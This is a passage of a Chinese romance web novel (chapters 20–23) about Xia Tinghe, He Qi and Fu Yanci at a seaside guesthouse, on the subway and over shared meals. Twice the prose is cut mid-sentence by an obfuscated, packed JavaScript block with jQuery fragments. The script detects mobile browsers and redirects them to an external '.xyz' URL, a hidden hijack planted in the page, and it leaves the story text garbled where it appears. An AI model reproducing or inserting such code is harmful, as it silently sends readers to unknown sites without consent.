付言辞比她更加难熬。 过了许久，定的航班闹钟响了，打破了寂静。 付言辞把视线从夏汀禾身上收回，起了身。 “抱歉，我该走了。” 在他即将离开时，夏汀禾叫住了他。 “付言辞！” - 从对面的商场出来，贺祁看到的就是这一幕。 视线在他们两人之间扫过，过了会儿，他转了方向，没再继续往那边走。 从昨天听到夏汀禾和蔺澈的对话后，他就没再打算和夏汀禾继续玩下去。 第一次碰见敢对他主动的女生，他一开始是觉得挺新奇的。 但也仅此而已。 他并不喜欢情绪被别人掌控，尤其是一而再再而三的这样。 边往相反的方向走，边打开了手机，贺祁打算在今天退了民宿的房间。他本来就是来这里旅游的，几天下来，周边也逛得差不多了。 没有什么印象深刻的人和事，没有值得留恋的，为什么不走？ 只是在他点开退订的界面后。 忽然。 有人从身后拉住了他。 - 被夏汀禾叫住之后，付言辞停了下来，回头看过来。 明明已经知道了结果，但夏汀禾还是鼓起勇气又问了一遍：“你是要出国了，对吗？” 付言辞的视线落在她身上，过了许久，才回她说：“嗯，我填了交换生的申请表。” “那你什么时候会走？” 夏汀禾没去过国外，她只觉得很遥远，也无法想象自己某天在异国他乡的生活。所以付言辞要去做交换生这件事，对于她来说，就像是他会从她的世界里逐步消失。 纵然以前有再多纠缠，再次见面，也会成为萍水相逢的路人。 “再过半个月吧。”付言辞看着她说的。 半个月一晃眼就过去了。 在问出这句话之后，夏汀禾以为自己会掉眼泪。 但并没有。 反而，她很平静。 夏汀禾分辨不出来是因为提前知道了消息。 还是因为…… 她对付言辞没那么在乎了。 这让她感觉到很不适应。 从这段暗恋开始，她似乎就已经给自己规定了——只能喜欢付言辞，即便被拒绝，即便不知道为了他哭了多少次。 现在回过头来，突然发现好像并不是这么一回事。 她也不一定非他不可 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贺祁的手比她的大很多，冰凉，骨节分明。 硬朗的触感从掌心传来，夏汀禾才反应过来自己拉住的是一个男生的手。 贺祁侧过脸来。 看到是她后，原本波澜不惊的脸上有了变化，但很快，他又恢复了平静。 被他这么一看，夏汀禾立即松开了。 “我……我不是故意的。” 上次天文馆的事情，是她对不住贺祁，她是想和他道歉来着。只是现在这样的状况下，单纯的道歉似乎显得有些没诚意。 “……你也来这边逛吗？”夏汀禾努力想出一句话。 贺祁“嗯”了一声，没像往常一样继续搭话，只垂着眼眸淡淡地看着她。 过了会儿，没等到她开口，贺祁心底又莫名生出一点烦躁。 他也懒得去收敛了，笑了下，直接道：“还有事么？没的话我先走了。” 刚说完，夏汀禾就接了他的话：“我今天去民宿找你了，但是没看到看你。” 找他做什么？ 不是特意来见她的心上人的么？ 听着她乖巧地说这句话，贺祁觉得挺有意思的，夏汀禾到底是什么想法？是只想玩他，还是在拿他当跳板去追别人？ “找我做什么？”他的语气更冷淡了些。 他给任何人都只有一次触碰底线的机会，要是过了，那他也不会再耗神费力地陪对方玩下去。 上次夏汀禾躲他，就已经破例了。 感觉到他的不耐烦，夏汀禾抿了下唇，说：“我想和你一起吃早餐的。” 看着倒像是他凶她了。 “以后不用了。”贺祁缓和了点态度，接着他又加了句：“你可以找其他人。” 他想告诉夏汀禾他并不会在这边待太久，可能明天就走了，但是比他更快一步，夏汀禾先和他对视了，对他说： “但是我更想和你一起。” 他们站在街道边，偶尔有行人走过，交谈着说着话，路边疾驰而过的车也依旧会发出躁动的响声。 隔了几秒，贺祁突然听到了自己心脏跳动的声音。 20. 目光 去地铁口还有一段距离，他们是走过去的。 从夏汀禾说完那句话后，两个人就没再开口。 沿着人行道不断往前，贺祁走在前面，夏汀禾就跟在他身边，比他们以往任何一次一起散步都要安静。 不喜欢这样的气氛，犹豫了一会儿，夏汀禾朝他那边走了一点。 正准备叫他，路边的两个女生忽地朝他们跑了过来。 “帅哥你好呀，能麻烦你帮我们在那拍一下照片吗？一张就可以了。” 女生指了指不远处的城市地标，不太好意思地询问贺祁。 这里的地标是有名的打卡点，不少来这边的游客下了飞机之后，第一件事就是跑过来合影纪念。 女生本来也没想着一定要拍的，只不过一眼看中了人群中出挑的贺祁，所以想也没想，为了凑个近距离欣赏的机会，立即就跑了过来。 凑近了看到后，才确认自己真不是看花了眼。 顺手帮忙这种事，贺祁在以往旅游的路上碰到过不少。 他也很清楚，部分人除了帮忙之外，还有一层搭讪的含义。有的胆子大一些，会直接问他有没有女朋友，没有的话，一起走接下来的行程怎么样。 至于一起后会发生什么，彼此都心知肚明。 贺祁一般会笑着拒绝，说自己习惯了一个人。 但也就因为他这样笑着推辞，不少人会误以为对他死缠烂打，迟早他会答应。 然而基本上没人能坚持下来。因为贺祁察觉到对方想更进一步，迈过普通关系的界限时，他会直接冷脸。 他是挺喜欢在漫无目的的旅行中碰到各式各样的人，但并不代表喜欢在这段行程中和其他人产生莫名奇妙的关系。 有人觉得新鲜、刺激，但他没有这方面的爱好。 “可以。”贺祁勾了下嘴角，笑着问女生：“你们想怎么拍？” “我们……”刚开口，女生转了下头，突然才发现他后面还有个人。 之前贺祁完全挡住了夏汀禾，她们也没看见。 彼此尴尬地对视了一眼，其中一个女生对夏汀禾解释了下原因：“抱歉，我们刚刚没看到你，你……介意吗？” 大概是把贺祁当成了她的男朋友，所以才会这么问。 夏汀禾正想解释，贺祁却先揽过了话，笑了下，对女生说：“她是我朋友，介意什么？” 两个女生恍然大悟，瞬间放心下来，“哦”了一声点头，很快就把手机交给了贺祁。 “帮我们拍一张横屏的就可以啦，希望可以拍到全身和后面的电子屏。” 她们的要求不高，贺祁很快就帮忙连拍了几张，让她们自己挑。 “行么？” “当然可以，这几张都好好看！！”女生连连赞叹：“谢谢啦帅哥。” 感谢完后，她们主动问：“你们需要吗？需要的话，我们也可以帮忙拍。” 礼尚往来也很正常，贺祁没做决定，看向了夏汀禾。 目光一时间都聚集在自己身上，感觉到脸颊又开始变烫，夏汀禾摇了摇头。 “不用了，谢谢。” 她拒绝了，女生自然也不会强求。 听到她的回答后，贺祁没再说话。 拿到合照，两个女生心满意足地走了。 夏汀禾没急着离开，因为女生在不远处又停了下来，时不时往这边看，一个像是再给另外一个加油打气。 这种场面她也经历过，知道是什么意思。 果不其然，没一会儿，其中一个女生重新跑了回来。 前面的交流让女生觉得贺祁性格也不错，她有点羞涩地站在贺祁面前，问：“能不能加个联系方式啊？” 女生第一次这么问，心里紧张得不行，说完后频频回头看朋友。 朋友给了做了个放心的动作。 很显然，她们俩都理所应当地认为贺祁不会拒绝。 夏汀禾下意识地看向了贺祁，在和他对视后，她又立即挪开了视线。 这本来就是他的事，他们没到那层关系，她也没资格管。 夏汀禾在一边安静地等着。 看到她的举动，贺祁眸色暗了下来。 几秒后，夏汀禾听到了他的答案。 “为什么不行？” 贺祁挑了下眉，脸上漫不经心的笑容更加勾人。 女生脸颊一红，立刻打开微信扫了二维码，加了他。 通过了好友，两个人又聊了一些其他的事。女生其实依旧有些紧张，但见贺祁没拒绝，她便大着胆子问他是不是来附近旅游，有没有什么好玩的地方推荐。 贺祁都一一耐心地说了。 他说话的方式很容易让人感到放松，偶尔来点幽默，交谈过程中，女生时不时看着他的脸，脸上的笑容就没停过。 直到同伴喊了，女生才告了别离开。 走之前，她忐忑地问了最后一个问题：“……那下次有机会的话，可以一起约着出去玩吗？” “有时间的话，当然可以。” 贺祁没拒绝。 听到这句，夏汀禾倏地抬起了头，往他那边看了眼。 这次是贺祁躲开了她的目光。 - 后半段路他们依旧没说话。 明明刚刚和其他人聊得那么开心，和她却没有话说了。 夏汀禾有意放慢了步子，默默地离得他远了些。 她专注着想着刚才的事，也没注意到贺祁也减缓了些速度。 几分钟后到了地铁站， 正好赶上下一班车，两人一前一后进去。 人太多，门一开，人群蜂拥而上，贺祁几乎是顺着人流被迫挤上去的。好在身高占优势，他很快找到了地方坐下。 从这里去民宿需要经过五六站，但不用换乘，十几分钟就到了。 没看到夏汀禾跟上，贺祁迅速抬眸在人群中找她。 夏汀禾站在离他一两米远的地方。 她没抢到位置。 周围都是比她高的男生，加上车厢内挤，夏汀禾时不时就会被其他人碰到。 贺祁皱了下眉，对她说：“夏汀禾，过来坐我这儿。” 他不会在意别人的眼光，说完了被路人频频瞥过来也没当一回事。 但是夏汀禾在意。 “不用了。”夏汀禾迅速回了他一句，又向后往一个角落站了点，尽量和别人拉开距离。 高峰期地铁拥挤是常有的事，她也没觉得有什么。 只是在她拒绝了之后，贺祁的脸色明显不怎么好看了。 下一站很快到达，正巧是换乘站，一大半的人下了地铁，车厢内瞬 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贺祁：“……” 指向性太强，贺祁挺想说他能听见。 夏汀禾自然也是听到了。 繁杂的思绪一股脑堆上来，夏汀禾不想再憋着了，没管贺祁想不想听。 她直接和他道歉了：“抱歉。” 贺祁愣了下。 闪过的那一瞬间，似乎是在担心她要为之前靠近他的举动道歉。这并不是他想听的。 夏汀禾紧接着解释说：“上次在天文馆，邀请你去了，但是没有认真带你逛。” 想到刚才那对夫妇的话，她又补充了句：“还有一些其他的事。” 虽然和他想的不一样，但听完后贺祁的心情也没好到哪去。 她突然变得生疏起来。 贺祁很不适应。 不过因为夏汀禾的主动疏离，他也没表现出来心里的情绪波动。 “去天文馆也是我答应的。至于其他的，本来就只是误会，就算不是你，和别人一起出去也经常有，没必要想太多。” 他的语气依旧是淡淡的。 夏汀禾没继续回答了，“哦”了一声就看向了别处。 看到她这样，情绪再次被牵动起来，贺祁轻叹了口气，想把这些压下去。 但没有用。 隔了会儿，他偏头叫了她的名字。 “夏汀禾。” 夏汀禾装作没听见。 贺祁于是又耐着性子喊了一遍，语气温柔了许多。 夏汀禾这才看向了他。 她眼眸依旧水润润的，只是眼尾有些泛红。 贺祁忍不住放轻了声音：“在想什么？” 为什么心情不好？ 不是去见了心上人么？ 在他的注视下，夏汀禾双手抓着膝盖上的衣摆，有些局促不安。 她的语气依旧温柔乖巧，甚至听起来有些委屈。 夏汀禾低着头，慢慢地说出原因：“我觉得……你总是对我忽冷忽热的。” 贺祁：“？” 谁对谁忽冷忽热？ 21. 假装 回到民宿后，贺祁还在想夏汀禾在地铁上说的话。 他没急着进去，先沿着海边漫无目的地走了十几分钟。 听着海浪声，吹着冷风，但最终还是没压住情绪，回想一遍又被气笑了。 到底是谁对谁忽冷忽热？ 他都没打算把前面的那点事放在心上了，也没追问她和那男的牵扯不清的关系，结果反过来成了他的错？ 贺祁第一次碰见有人这么不讲道理的。要是放在别人身上，他大概率不会搭理，但当时夏汀禾眼眶红了，偏偏说得那么真切，莫名让贺祁觉得确实是他弄的。 后半程他边压着心里又气又笑的心态，温声解释了老半天，夏汀禾才没说话了。 “那你还生气吗？”她最后小心翼翼地问他。 贺祁想回她说有气也被她消磨干净了，然而看到她水润润的眼眸，他又没能说出口，还是低声回了一句： “生你气做什么？本来也没。” “真的吗？”夏汀禾看着他，又和他确认了一遍。 他再次肯定地说：“……嗯。” 现在重新回想了一遍之前的对话，贺祁又慢慢冷静下来。 他和夏汀禾目前的关系谈不上有点什么，后续不管她怎么做，他都没必要再这么配合。 原本他是打算看她想怎么玩下去，但被一次两次靠近又远离地对待后，他也没有之前的兴趣了。 他本来就不是什么好人。 为什么要照顾不相干的人的情绪？ 平静下来，梁浩在这时给他发了消息。 【你还没回来？阿姨刚给我打电话了，问你是不是和我在一起】 看完消息，贺祁退出聊天界面，扫到电话那一栏，有几个未接的，是在半小时前打过来的。 号码是他熟悉的。 压下心里轻微的不适感，他回梁浩说：【嗯，知道了】 收起手机，贺祁往民宿里走。 还没进门，刚踏入院子，他就看到旁边的空地上支起了木制的餐桌，一边的帐篷上还挂了一连串的小灯泡。 灯光柔和，那边有一群人聚在一起，吃着烧烤，弹着吉他，聊着天。 颇有野餐露营的感觉。 住了快半个月了，贺祁也听说过民宿老板的儿子经常弄一些活动来吸引顾客。 他虽然不知道这人是谁，但确实还觉得挺新奇的。 贺祁观望了两眼，没多留，很快就往民宿大厅去了。 只不过他刚走几步，就有人叫住了他。 “诶，兄弟。” 贺祁回头看，发现是那天和夏汀禾在客厅里说话的男生。 从多方打听后，蔺澈知道贺祁的性格不错，他原本是想过来搭话的，结果没想到叫住了人，人家一看到是他后，就没了好脸色。 蔺澈翻阅前二十三年的经历，确认自己之前应该没和他结过梁子。 他平日里也算得上是社交达人，这时被贺祁看着，却难得有那么一两秒的犹豫。 小伙子冷着脸还怪不好接近的。 蔺澈措了一会儿辞，想好了才开口：“没别的事，就是想问问你要一起过来吃烧烤吗？民宿提供，免费的，自己想吃什么直接去餐厅拿食材就行。” 贺祁想也没想，直接拒绝了：“谢谢，不了。” 看他兴致不高，蔺澈也没接着问了。 点了点头，转头越过他，看见夏汀禾从大厅里出来，蔺澈又高兴了起来，扬声道：“汀禾，过来这边，哥带你吃好吃的。” 听到这个称呼，贺祁突然愣了下。 夏汀禾自然也是看见了贺祁在这边。 地铁上说的话，她也不知道是怎么一回事，当时就是觉得很委屈，贺祁又那样一直问她，她就忍不住说了。 等平静下来后，夏汀禾才发觉自己的行为有多么的不合适。 这也就导致了她从出了地铁后，就没再敢和贺祁说话。 现在被蔺澈叫住了，夏汀禾不得不走了过去。 蔺澈完全不知道他们俩之间的弯弯绕绕，直接带着她往烧烤架那边去。 “你上次不是说想吃烤翅和烤茄子，喏，哥这次特意帮你买了，去那边等会儿，马上就能吃了。” 夏汀禾跟着他走，目光却时不时往身后看。 到了半路，蔺澈突然想起来：“哦，对了，调料用完了，我过去拿一下。” 夏汀禾却迅速接了话：“我去吧。” “你去？”有人在叫自己了，蔺澈往大厅里看了看，嘱咐道：“行，我记得就放在厨房的橱柜里，你随便拿两瓶来就行。” 夏汀禾应了下来，没一会儿，就又走了回去。 贺祁还站在原地，她过去时，两人的视线交汇。 夏汀禾感觉到有点灼热。 怕那边急着要，夏汀禾没多停留，很快就进了厨房拿调料。 只是她没想到，不知道是谁收纳的时候，把这些都放在了橱柜的最上层。 夏汀禾尝试踮脚伸手，但还是够不着。 旁边就有椅子，其实她可以直接搬一个过来，踩在上面去拿。 然而。 “贺祁！” 在贺祁准备回房间时，夏汀禾喊住了他。 隔着两三米远，贺祁停了下来，偏头看向她。 夏汀禾朝他跑了过去。 站在他面前，他的气息慢慢环绕过来。 很清凉。 夏汀禾看着他的眼眸，小声问：“你可以帮我拿一下东西吗？” 贺祁是隔了片刻才回话的：“在哪？” 夏汀禾带着他进了厨房，指给他看。 “拿上面两瓶绿色的就可以了。” “嗯，知道了。” 这个高度对贺祁来说就是伸下手的事情，但问题是，夏汀禾站在他面前，没走开。 厨房里可以站的地方本来就小，又有流理台挡着，贺祁要是直接伸手拿，那另一只手就得撑在台上，靠近她的腰边。 贺祁不知道她是不是没意识到这个问题，提醒了一下：“就这样拿？” 垂着身侧的手不自觉地攥紧了些，夏汀禾应了一声，脸颊微微发烫。 她这样的反应，贺祁算是看出来。 她是故意的。 “确定？”贺祁忍不住勾了下唇，看着她。 “嗯。”夏汀禾又肯定了一遍。 片刻后，见他还没动手，夏汀禾想到另外一种可能，小心翼翼地问了句：“……你不可以吗？” 话落，贺祁忽地就弯腰朝她靠了过来。 热气随之而来。 他的手就撑在她身后的台沿边，离她的腰只有不到一厘米的距离。 没等夏汀禾反应过来，贺祁已经照她说的拿了下来。 夏汀禾听到耳边突然有人笑了下，低声说：“你觉得呢？” 那点酥酥麻麻的笑声直抵耳根，弄得夏汀禾瞬间就红了耳朵。 她飞快地后退到旁边。 正巧，这时蔺回绪路过，听到动静，探头往里面看了眼。 看见夏汀禾在这儿，问了声：“小禾，在厨房里做什么呢？弄吃的？” 舅舅的突然出现，让夏汀禾说话也变得磕磕绊绊起来：“没、没什么，我帮表哥拿一下烧烤要用的调料。” “这臭小子没长手？老让你干些跑腿的，下次别理他。” 一顿教训完自己的儿子，挪了下视线又看到了旁边的贺祁。 因为上次夏汀禾在车库迷路的事，他对贺祁倒是有点印象。 只不过，这小伙子怎么也进厨房了？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565294|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 兴许是过来洗一下东西之类，蔺回绪也没多想。 上次为了感谢他在群里帮了忙，就打算请人吃一顿饭来着，这次正好，他儿子请了一帮同事同学过来，他和妻子特意准备了大餐。 蔺回绪热情地招呼说：“那个，小贺是吧？晚上一起来餐厅吃个饭吧，上回的事，叔叔还没感谢你呢。我们家自己养的鸡鸭鱼，保证味道好。” 贺祁笑了下，回应说：“好，谢谢叔叔。” - 六点开始的晚餐，十几个人坐在露天的餐厅里，有说有笑，这些几乎都是蔺澈的熟人。 夏汀禾和贺祁来得晚，随便找了个位置坐下，正好是侧对着的。 旁边都是不认识的，夏汀禾也不习惯和人搭话，就这么自顾自地吃着。 直到边上的女生和同伴交流完，忽地看到右手侧的她，惊呼道：“诶，你是蔺澈的表妹吗？” 夏汀禾不清楚她怎么知道自己是谁的，但是被这么一说，她瞬间就停住了筷子，腼腆地点了点头。 看她这么文静，女生更来劲了，又拉着她聊了会儿天。 夏汀禾并不擅长应对这种场面，不过好在女生也很温柔，让她能不那么紧绷着。 没一会儿，蔺澈端着菜过来，女生立即叫了他一声：“蔺澈！” 蔺澈抬头看到她，一个头两个大：“又怎么了大小姐？” 女生搂着夏汀禾的肩对他说：“我算是明白了，你妹妹长这么乖，难怪你平时老炫耀。” 蔺澈摊了摊手：“那当然，我什么时候说过假话了。” 被他们俩的对话吸引过来，其余的人也纷纷看向夏汀禾。 上班久了，第一次见到年轻鲜活的面孔，周围的几个女生瞬间感兴趣地挪了座位，换到了她旁边，一个一个和她搭话。 聊了些基本的话，慢慢熟悉下来，自然而然地转接到了感情上的事。 “汀禾妹妹还没男朋友对吧？” 夏汀禾也不知道为什么，自己听到这句的时候，会抬头去看侧对面的贺祁。 贺祁正巧也看着她。 不过他向来熟练应对这些，倒是轻松得很，脸上还带着笑。 “嗯，还没有。”夏汀禾回了话。 边上的人又说：“那有没有喜欢的人啊？” “姐姐和你说，有喜欢的人就大胆追，这个不行就下一个。” 其余人听到了，忍不住过来打岔：“你是大美女，当然有得挑，但好歹也给我们普通人也分享分享经验啊，怎么追帅哥？” 是打趣的话，女生也没放在心上，笑了笑，大方道：“不管男追女还是女追男，无非就是那几样。平时聊聊天，说点暧昧的话，再请他帮忙或者帮他忙，然后偶尔在制造些肢体接触，弄点小惊喜什么的。只要彼此有好感，这一套流程下来，基本上就成了。” 对面的男同事不服：“那我做了，怎么还没追到你？” 女生耸了耸肩：“因为我对你根本没好感啊。” 一桌子上的人瞬间放松笑了起来。 女生又撑着下巴，朝夏汀禾眨了眨眼：“你说呢？汀禾妹妹。” 是在询问她对刚才那番话的看法。 夏汀禾点了点头。 被认同了，女生更加高兴了，对她说：“要是你有喜欢的，也可以去试试。” 周围的声音不大，贺祁也听到了这句。 他抬头看向夏汀禾。 她低着头的，一时间没有回话，兴许是不知道怎么回应。 隔了会儿，她也再次抬头看向了他这边。 夏汀禾瞬间变得有些慌乱起来，胡乱应了几声：“嗯，好。” 看见她的动作，贺祁扬了下嘴角。 还用试么？ 这些刚在他身上用过。 22. 早餐 付言辞是在下午抵达学校的。 他没有耽搁太久，到了辅导员办公室后，立即把材料交了过去。 放暑假的日子，办公室里没多少人，只有两三个值班的老师。 辅导员这会儿正好在等着他。 看他一进来，东西就拿在手上，仔细地护着，生怕掉了似的，还以为是他自己的。 没想到抬眼一看，上面写着的却是夏汀禾的名字。 “呦，这不是你的啊？”辅导员忍不住打趣：“其他同学以后要是有需要附带的，找你肯定放心。” 几张薄薄的纸，就算是自己拿过来，也有觉得不方便直接折起来的时候，但付言辞给他的，却是夹在了文件夹里。 递过来给他时，都还是平整没有一丝褶皱的。 “这都拿一路了吧？”辅导员又笑了笑。 付言辞不知道怎么回答，只能没作声。看到他把夏汀禾的检查了一遍，确认没问题后放进了档案袋里，他才放松下来，把自己的也递了过去。 “这是交换生申请表和相关的材料。” “行，你等会儿，我看看啊。” 办公室安静，一时间只有他们俩交谈的声音。 交换生申请的流程其实不复杂，学院本来就有意派他去，付言辞自己又答应，这正好是学校里求之不得的，审核都快了不少。 等着辅导员和上级沟通的过程，付言辞也没闲着。 其他值班老师老早就发现办公室多了个学生，等他们俩没说话了，顿时也看了过来，热情询问：“这是你们专业的第一，小付同学是吧？决定去国外交换了？” 常年挂榜第一，又是学校各种比赛的得主，口口相传，学院里的老师几乎都知道他。 这样的学生，大抵身上都是有些少年意气的，但今天见到真人了，才发觉付言辞和这个年龄段的学生有些不同。 他很沉稳。 或者说有些过于成熟了，少了些大学生的青春活力。 付言辞并没有在意周围的目光，依旧还是条理清晰地回答问题。 没有老师不喜欢这样的学生，赶忙又追着多问了几句。 一人追着聊一会儿天，再加上填写各种表，付言辞几乎是到了老师快下班时才全部弄完。 跟着一群老师从教学里出来，付言辞礼貌地道了别准备离开。 辅导员看他也是往校外的方向去，顺口问了声：“言辞，你住哪的来着？上回看你们的信息我记得见过，但转头又给忘了。” 付言辞愣了下，隔了会儿才给了个大概的地址。 听完，辅导员立刻道：“这不巧了吗？正好我回家的路是一条，这个点打车也麻烦，坐我的车回去吧。” 边上也有老师应和：“你们导员的车小，不如来坐我的，我也开那条路。” 这次付言辞等了更久才回应，像是在心里反复纠正用语才说出来的：“……谢谢各位老师，不过我暂时还不回家。” 他很少会在脸上流露出任何情绪，永远都是清清冷冷的模样。 “也是，你们年轻人，放暑假了回学校一趟本来就麻烦，事情弄完了还不急着去玩？行，那我们也不打扰了。” 付言辞告了别，选了另一条路离开。 等他走了，一位老师有感而发：“这孩子性格很稳啊，对自己的规划也清楚，很少见了。” 辅导员看着他离开的方向，轻叹了口气，慢慢回应说：“他是一切都好，但就是太稳重了些。” “有时候，有些事考虑得太多反而会失去。” - 夏汀禾在第二天早上收到了付言辞发过来的消息，说是她资料已经交了上去，审核也已经通过。 他永远都是公事公办的态度，不会在字里行间参杂半点别的。 看完后，夏汀禾回了句谢谢。 她还想再说点其他的，也觉得应该多讲两句，但是却找不到可以开口的。 于是捧着手机看了好几分钟，最后只能这么算了。 好在付言辞也没回她，好像真的就只是这么通知她一下。 早上起来洗漱完后就跑到了海边吹风醒神，原本尽管被凉风吹着也依旧晕乎乎的，但夏汀禾回完付言辞的消息后，却慢慢地清醒了过来。 继续沿着海边散步，夏汀禾正准备随便找块礁石坐下，背后忽地有人叫了她的名字。 “汀禾！” 夏汀禾侧头一看，是祝朝月。 她骑着自行车，身上是利落的白色运动装，连头发也扎成了高马尾，简单清爽。 祝朝月在她旁边停了下来。 “你怎么一个人在这儿啊？吃早餐了吗？” 夏汀禾回她说：“屋子里有点热，来这边吹吹风——早餐还没来得及吃，你呢？” 祝朝月指了下挂在自行车车柄上的袋子：“我都没想到会在这里碰到你，要是知道，我就多带一份早餐过来了。这是我公司那边的早点，超级无敌好吃。” “你是带给梁浩的吗？”夏汀禾顺着看了过去，瞧见白色的塑料袋里面还被仔细包装了一层。 “嗯。”祝朝月点了点头，解释道：“他说他今天想睡懒觉，不想吃早餐了，我就顺便帮他买了点。” “不过我刚看手机，他还没醒。你饿吗？要不然你吃吧，这东西冷了就没那么好吃了。” “不用了。”夏汀禾慌忙摆手，“我待会儿打算回民宿自己做的。” 这毕竟是人家给男朋友带的，她怎么好意思拿。 看她这样，祝朝月忍不住笑了下。 夏汀禾的脸颊又开始泛红了。 这下变成了两个人一起沿着步道走，隔了好一会儿，脸上的热度下去了，夏汀禾才问她：“你平时都是在外面买早餐吃的吗？” “对啊，我都是一个人住嘛，随便吃点凑合就行。”迎面吹来一阵凉风，祝朝月舒服地伸了下腰，十分放松。 “你一个人住？”夏汀禾有点意外。 算起来，她好像还从来没有一个人出去住过。即便是之前的实习，也是住在家里，对门就是舅舅和舅妈。 祝朝月脸上带着笑地看向她：“嗯，很意外么？我从七岁之后，就基本上都是自己一个人住了。” “我爸妈他们比较忙，也不怎么管我。就定时给我打钱，每天晚上聊会儿天看看我还活没活着。” 祝朝月调侃地说出了口，见她不信，又加了句：“贺祁也是啊，他小时候都是爷爷带的，后来差不多初中的时候吧，也是自己一个人住了。” 听到这里，夏汀禾不由得一愣。 这和她想象中的不一样，她听到的消息是贺祁的父母几乎所有的心思都花在了他身上，即便是上了大学，他爸妈每周都还会开车去学校里见他一次。 这样的氛围里培养出贺祁那样自信张扬的性格，夏汀禾一点也不意外，她也就理所当然地以为是这样的。 祝朝月的手机闹钟在这时候响起，她不好意思地打断了谈话：“抱歉啊，汀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574423|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾，我得去上班了，不然要迟到了，咱们下次再聊了。” 眼看着只剩下十几分钟了，祝朝月一说完，就跑回去骑自行车了。 看到车才想起早餐还没送过去。 “需要我帮你拿给他吗？” 本来还想客气一下，但时间是真的紧迫，祝朝月也没讲究那么多了：“那谢谢你了，下次请你尝尝！” 回应完，她踩着自行车，很快就离开了。 等人走了，夏汀禾才小心地提着袋子，回了民宿。 她给梁浩发消息，和祝朝月说的一样，他也没回。 估计还在睡觉，夏汀禾只好暂时先把早餐放在了厨房里。 她则自己简单做了个三明治。 端着餐盘从厨房出来，在大厅里坐下，还没开吃，夏汀禾先收到了天文馆发过来的通知。 上次班长提醒她说社会实践还差一次后，她就开始找合适的，最后看来看去都没翻到，都打算等到学校里再弄了，结果正好就收到了市内天文馆的公众号招募志愿者的推送。 问了班长确定可以，夏汀禾立即就投了简历。 没想到今天就收到了回信。 她线上是通过了的，只需要线下再约个时间，面试一轮。 看到邮件里给的一些面试注意事项，夏汀禾又不由得紧张了起来。 这时听到有人从楼梯上下来，她很快看了过去。 贺祁应该也是刚醒不久，过来和她说话时，声音还带着点懒散困倦的意味。 “在看什么？” “没什么。”夏汀禾收了手机，看着他的脸，忽地开口问：“你是不是还没吃早餐？” 贺祁笑了下：“刚醒，哪有力气去买？” 夏汀禾早就猜到了，把自己面前的三明治推了过去。 “那你要吃吗？这是我刚刚做的。” 她生了一张乖巧的脸，再加上温温柔柔的声音，无论说什么总是会让人觉得不会骗人。 贺祁以为她是想让自己帮忙尝味道，点了点头，拿着叉子尝了一块。 生菜中间夹的是撒了黑胡椒的奥尔良味鸡胸肉，味道对他来说有点浓烈。 贺祁给了评价：“挺好吃的。” “那你都吃完吧。”夏汀禾迅速地回了话。 她回应得太快，贺祁不由得疑惑地看了她一眼。 夏汀禾又很快低下了头：“……你不喜欢吗？” 贺祁对食物没多大要求，能吃就行，于是在看到她这样之后，又不得不拿起了刀叉继续吃。 夏汀禾就坐在他的对面，看着他。 贺祁觉得好笑，抬了抬下巴，问她：“你老看我做什么？” 这人笑起来就是很容易让人心神荡漾。 夏汀禾摇了摇头，看向了一边。 等他快吃完了，夏汀禾才问他说：“你还想去天文馆吗？” 听到这个问题，贺祁的语气慢慢淡了下来：“哦，不想。” 意料之中的答案。 夏汀禾抿了下唇，还是把刚接到的通知给了他看，把自己报名参加的事情都告诉了他。 看完后，贺祁勾了下嘴角，说：“嗯，挺好的。” 夏汀禾看着他，大着胆子问：“……那你也参加，好不好？” 贺祁还没说什么呢，只是想了下。 夏汀禾又抿了下嘴，小声道：“我刚刚都把我的早餐给你吃了。” 贺祁：“？” 不是她叫他吃的么？ 23. 见家长 贺祁算是明白了，每次夏汀禾无端地示好，后面肯定还有别的在等着他。 莫名觉得有点好笑，贺祁勾了下嘴角，反问她：“为什么要我去？” 难道还要人陪着么？ 贺祁只是随口一问，但说出口之后，才发现自己心里其实是有期待的答案的。 不过期待的是什么，他自己也不清楚。 他以为夏汀禾会说因为觉得很有意思，或者说想和他一起。 然而夏汀禾回他的是：“我之前去报名，就是以为你也会想的。” 她垂着眼眸说的，说话时眼睫颤了颤，脸颊侧刘海碎发被风吹着时不时拂过下巴。 温软又安静的模样。 没听到贺祁的回话，她又补充了句：“因为你不是天文专业的嘛。” 贺祁再一次愣了下。 因为他是这个专业的，以为他会喜欢相关的这些，所以她才去参加。 他没想到是这个原因。 实际上夏汀禾确实也没说谎，她当时看到推送的第二反应，就是贺祁会不会也感兴趣。 只不过……她本来并没有邀请他的打算。 夏汀禾看了他一眼，又小心地问了一遍：“……你想去吗？” 贺祁依旧没有正面回她，起了身，道：“吃完早餐再说。” 看他进了厨房，夏汀禾连忙跟着过去。 民宿是允许客人自己做饭菜的，食材可以从旁边的超市直接购买。 之前梁浩想拉着贺祁一起尝试，结果被贺祁懒懒地回了一句“要不你想想自己做的能不能下口”瞬间浇灭了热情。 贺祁也不是想打击他的信心，主要是他嫌麻烦，不想弄。 本来就是旅游的，如果还要自己弄吃的，和在家有什么区别？ 等进了厨房，问了夏汀禾想吃什么之后，贺祁才意识到这点。 “你要做吗？”夏汀禾没报菜名，很随意地说：“我都可以的。” 她说是这么说，但几次一起吃饭的经历下来，贺祁也知道夏汀禾只爱吃合自己口味的，稍微凑合一点都不行。 